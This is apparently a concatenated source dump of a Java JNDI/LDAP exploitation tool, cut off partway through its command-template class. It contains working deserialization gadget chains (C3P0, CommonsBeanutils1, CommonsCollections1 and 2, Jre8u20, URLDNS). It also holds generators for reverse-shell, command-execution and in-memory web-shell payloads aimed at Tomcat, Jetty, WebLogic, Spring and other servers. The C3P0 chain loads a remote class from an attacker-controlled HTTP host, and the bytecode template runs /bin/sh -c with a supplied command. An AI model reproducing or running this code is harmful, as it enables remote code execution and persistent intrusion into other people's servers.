FILE: src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java
================================================
package com.feihong.ldap.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java
================================================
package com.feihong.ldap.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException(){
super();
}
public IncorrectParamsException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedActionTypeException extends RuntimeException{
public UnSupportedActionTypeException(){
super();
}
public UnSupportedActionTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException(){ super();}
public UnSupportedGadgetTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java
================================================
package com.feihong.ldap.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException(){
super();
}
public UnSupportedPayloadTypeException(String message){
super(message);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/C3P0.java
================================================
package com.feihong.ldap.gadgets;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.enumtypes.MemShellType;
import com.feihong.ldap.enumtypes.PayloadType;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
public class C3P0 {
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
String className;
switch (type){
case command:
CommandTemplate commandTemplate = new CommandTemplate(param[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
break;
case dnslog:
DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
dnslogTemplate.cache();
className = dnslogTemplate.getClassName();
break;
case reverseshell:
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
reverseShellTemplate.cache();
className = reverseShellTemplate.getClassName();
break;
case tomcatmemshell:
className = MemShellType.TOMCAT;
break;
case jettymemshell:
className = MemShellType.JETTY;
break;
case jbossmemshell:
className = MemShellType.JBOSS;
break;
case weblogicmemshell:
className = MemShellType.WEBLOGIC;
break;
case webspherememshell:
className = MemShellType.WEBSPHERE;
break;
case springmemshell:
className = MemShellType.SPRING;
break;
default:
throw new IllegalStateException("Unexpected value: " + type);
}
PoolBackedDataSource b = PoolBackedDataSource.class.newInstance();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/"));
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(b);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.gadgets.utils.Gadgets;
import com.feihong.ldap.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes(PayloadType.command, "calc");
FileOutputStream fous = new FileOutputStream("333.ser");
fous.write(bytes);
fous.close();
}
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(type, param);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(queue);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections1.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes(PayloadType.command, "calc");
FileOutputStream fous = new FileOutputStream("out2222.ser");
fous.write(bytes);
fous.close();
}
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
Object templates = Gadgets.createTemplatesImpl(type, param);
HashMap InnerMap = new HashMap();
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chined = new ChainedTransformer(trans);
Map outmap = LazyMap.decorate(InnerMap,chined);
TiedMapEntry entry = new TiedMapEntry(outmap, "whatever");
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("placeHolder");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj =(Object[])table.get(setMap);
Object node = obj[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(newSet);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections2.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections2 {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes(PayloadType.command, "calc");
FileOutputStream fous = new FileOutputStream("4444.ser");
fous.write(bytes);
fous.close();
}
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
Object templates = Gadgets.createTemplatesImpl(type, param);
HashMap InnerMap = new HashMap();
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chined = new ChainedTransformer(trans);
Map outmap = LazyMap.lazyMap(InnerMap,chined);
TiedMapEntry entry = new TiedMapEntry(outmap, "whatever");
//构造外部入口链
HashSet newSet = new HashSet(1);
newSet.add("placeHolder");
Field innerSetMap = HashSet.class.getDeclaredField("map");
innerSetMap.setAccessible(true);
//修改hashset内部的hashmap存储
HashMap setMap = (HashMap)innerSetMap.get(newSet);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
//拿到存储的数据
Object[] obj =(Object[])table.get(setMap);
Object node = obj[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,entry);
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(newSet);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/Jre8u20.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.gadgets.utils.Gadgets;
import com.feihong.ldap.gadgets.utils.Reflections;
import com.feihong.ldap.gadgets.utils.Util;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
public class Jre8u20 {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes(PayloadType.command, "calc");
FileOutputStream fous = new FileOutputStream("888.ser");
fous.write(bytes);
fous.close();
}
public static byte[] getBytes(PayloadType type, String... param) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(type, param);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
LinkedHashSet set = new LinkedHashSet();
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
set.add(bcs);
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();
byte[] bytes = baous.toByteArray();
bytes[89] = 3; //修改hashset的长度(元素个数)
//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}
//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
bytes[i+6] = 1;
break;
}
}
/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}
/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}
//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
i = i + 58;
bytes[i] = 3;
break;
}
}
//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
bytes = Util.addAtLast(bytes, (byte) 0x78);
return bytes;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/URLDNS.java
================================================
package com.feihong.ldap.gadgets;
import com.feihong.ldap.gadgets.utils.Reflections;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNS {
public static byte[] getBytes(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(ht);
byte[] bytes = baous.toByteArray();
oos.close();
return bytes;
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java
================================================
package com.feihong.ldap.gadgets.utils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java
================================================
package com.feihong.ldap.gadgets.utils;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.enumtypes.PayloadType;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static Object createTemplatesImpl (PayloadType type, String... param) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
type,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"),
param);
}
return createTemplatesImpl(type, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, param);
}
public static <T> T createTemplatesImpl (PayloadType type, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String... param)
throws Exception {
final T templates = tplClass.newInstance();
// // use template gadget class
// ClassPool pool = ClassPool.getDefault();
// pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
// pool.insertClassPath(new ClassClassPath(abstTranslet));
// final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// // run command in static initializer
// // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
// command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
// "\");";
// clazz.makeClassInitializer().insertAfter(cmd);
// // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
// clazz.setName("ysoserial.Pwner" + System.nanoTime());
// CtClass superC = pool.get(abstTranslet.getName());
// clazz.setSuperclass(superC);
byte[] classBytes = null;
switch (type){
case command:
CommandTemplate commandTemplate = new CommandTemplate(param[0]);
classBytes = commandTemplate.getBytes();
break;
case dnslog:
DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]);
classBytes = dnslogTemplate.getBytes();
break;
case reverseshell:
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]);
classBytes = reverseShellTemplate.getBytes();
break;
case tomcatmemshell:
classBytes = Cache.get("TomcatMemshellTemplate");
break;
case jettymemshell:
classBytes = Cache.get("JettyMemshellTemplate");
break;
case jbossmemshell:
classBytes = Cache.get("JBossMemshellTemplate");
break;
case weblogicmemshell:
classBytes = Cache.get("WeblogicMemshellTemplate");
break;
case webspherememshell:
classBytes = Cache.get("WebsphereMemshellTemplate");
break;
case springmemshell:
classBytes = Cache.get("SpringMemshellTemplate");
break;
}
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java
================================================
package com.feihong.ldap.gadgets.utils;
import com.nqzero.permit.Permit;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Util.java
================================================
package com.feihong.ldap.gadgets.utils;
public class Util {
public static byte[] deleteAt(byte[] bs, int index) {
int length = bs.length - 1;
byte[] ret = new byte[length];
if(index == bs.length - 1) {
System.arraycopy(bs, 0, ret, 0, length);
} else if(index < bs.length - 1) {
for(int i = index; i < length; i++) {
bs[i] = bs[i + 1];
}
System.arraycopy(bs, 0, ret, 0, length);
}
return ret;
}
public static byte[] addAtIndex(byte[] bs, int index, byte b) {
int length = bs.length + 1;
byte[] ret = new byte[length];
System.arraycopy(bs, 0, ret, 0, index);
ret[index] = b;
System.arraycopy(bs, index, ret, index + 1, length - index - 1);
return ret;
}
public static byte[] addAtLast(byte[] bs, byte b) {
int length = bs.length + 1;
byte[] ret = new byte[length];
System.arraycopy(bs, 0, ret, 0, length-1);
ret[length - 1] = b;
return ret;
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/CommandTemplate.java
================================================
package com.feihong.ldap.template;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Util;
import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
public class CommandTemplate implements Template{
private String className;
private byte[] bytes;
private String cmd;
public CommandTemplate(String cmd){
this.cmd = cmd;
this.className = "Exploit" + Util.getRandomString();
generate();
}
public CommandTemplate(String cmd, String className){
this.cmd = cmd;
this.className = className;
generate();
}
public void cache(){
Cache.set(className, bytes);
}
public String getClassName(){
return className;
}
public byte[] getBytes(){
return bytes;
}
public void generate(){
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
AnnotationVisitor av0;
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
{
fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null);
fv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
mv.visitLdcInsn("/");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label l3 = new Label();
mv.visitJumpInsn(IFEQ, l3);
mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitLdcInsn("/bin/sh");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitLdcInsn("-c");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_2);
mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
mv.visitJumpInsn(GOTO, l0);
mv.visitLabel(l3);
mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {});
